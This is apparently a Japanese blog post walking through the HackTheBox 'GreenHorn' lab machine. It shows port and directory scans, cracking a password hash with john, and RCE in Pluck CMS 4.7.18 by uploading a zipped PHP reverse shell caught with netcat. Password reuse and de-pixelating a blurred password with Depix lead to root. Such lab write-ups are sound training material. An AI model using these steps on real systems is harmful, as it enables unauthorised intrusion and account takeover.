0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

一人アドカレAdvent Calendar 2024

Day 8

【HackTheBox】GreenHorn:Writeup

Posted at

概要

HackTheBox「GreenHorn」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sVC -T4 -A -p- 10.10.11.25 -oN nmap_resultPORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=61270928145c2c03; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=BJxaEjpr3c9V1mdKEWcODCWFU0g6MTczMzQyNjMwNjU2NDU1MjIwNQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 05 Dec 2024 19:18:26 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=727a91389b86516c; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=CqoqkPPB1YNH-BTKOWbT9lbAV5o6MTczMzQyNjMxMjkwMjM1OTk1NQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 05 Dec 2024 19:18:32 GMT
|_    Content-Length: 0

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx 1.18.0
3000 http

ドメインが分かったので/etc/hostsに追記します。

10.10.11.25     greenhorn.htb

ポート80のサイトではPluck CMSが利用されていると分かりました。

image.png

ポート3000ではGiteaが利用されていると分かりました。

image.png

/GreenAdmin/GreenHornにアクセスすると80番ポートで動作しているPluckのリポジトリがありました。

image.png

80番ポートのディレクトリスキャンをします。

$ dirsearch -u http://greenhorn.htb

[14:45:03] 200 -    1KB - /login.php
[14:44:58] 200 -    4KB - /install.php
[14:44:06] 200 -    4KB - /admin.php
[14:44:42] 301 -  178B  - /data  ->  http://greenhorn.htb/data/
[14:45:27] 200 -    2KB - /README.md
[14:45:29] 200 -   47B  - /robots.txt

(省略)

/login.phpへアクセスすると、Pluck 4.7.18だと分かりました。

image.png

該当バージョンの脆弱性を探すとRCEの脆弱性が見つかりました。
ZIPファイルをアップロードすることで任意のPHPコードを実行できるようです。

エクスプロイトには認証情報が必要になっています。
Giteaのリポジトリを探索しているとdata/settings/pass.phpにハッシュ値の様な値を発見しました。

image.png

ハッシュ値を解析するとパスワードを特定できました。

$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA512

iloveyou1        (?)

得られたパスワードでpluck cmsにログイン出来ました。

image.png

PHPのリバースシェルファイルを圧縮して、アップロードするZIPファイルを作成します。

$ zip exploit.zip php-reverse-shell.php   
  adding: php-reverse-shell.php (deflated 59%)

/admin.php?action=installmoduleからZIPファイルをアップロードします。

image.png

Netcatでリッスンし、/data/modules/exploit/php-reverse-shell.phpへアクセスするとシェルを張れました。

$ nc -lnvp 12345
listening on [any] 12345 ...
connect to [10.10.14.176] from (UNKNOWN) [10.10.11.25] 32832
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 09:42:25 up 21 min,  0 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

TTYの設定をします。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

juniorアカウントへ昇格する必要があるようです。

$ ls -la /home
total 16
drwxr-xr-x  4 root   root   4096 Jun 20 06:36 .
drwxr-xr-x 20 root   root   4096 Jun 20 07:06 ..
drwxr-x---  2 git    git    4096 Jun 20 06:36 git
drwxr-xr-x  3 junior junior 4096 Jun 20 06:36 junior

pluck cmsのログインに使用したパスワードでjuniorアカウントへ昇格出来ました。

$ su junior
su junior
Password: iloveyou1

junior@greenhorn:/var/www/html/pluck$ whoami
whoami
junior

/home/junior/user.txtからユーザーフラグを入手できました。

$ cat user.txt
38afd29b3f78c7747910fe95bdeb4c45

Root Flag

/home/juniorディレクトリを確認するとUsing OpenVAS.pdfがあります。

$ ls -la
ls -la
total 76
drwxr-xr-x 3 junior junior  4096 Jun 20 06:36  .
drwxr-xr-x 4 root   root    4096 Jun 20 06:36  ..
lrwxrwxrwx 1 junior junior     9 Jun 11 14:38  .bash_history -> /dev/null
drwx------ 2 junior junior  4096 Jun 20 06:36  .cache
-rw-r----- 1 root   junior    33 Dec  8 09:28  user.txt
-rw-r----- 1 root   junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'

PDFをダウンロードし確認すると、パスワードがモザイク処理されていると分かります。

image.png

モザイク除去にDepixというツールを利用しました。

モザイク部分を右クリックし、画像としてPNG形式で保存します。

image.png

Depixを実行しモザイクから平文を特定できました。

$ python3 depix.py \
    -p ../pass_image.png \ 
    -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png \
    -o ../test.png

パスワードはsidefromsidetheothersidesidefromsidetheothersideのようです。

image.png

得られたパスワードでrootアカウントへ昇格出来ました。

$ su -
su -
Password: sidefromsidetheothersidesidefromsidetheotherside

# whoami
whoami
root

/root/root.txtからルートフラグを入手できました。

cat /root/root.txt
120ddf20f15fa21316ce2d7a23347bfe
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?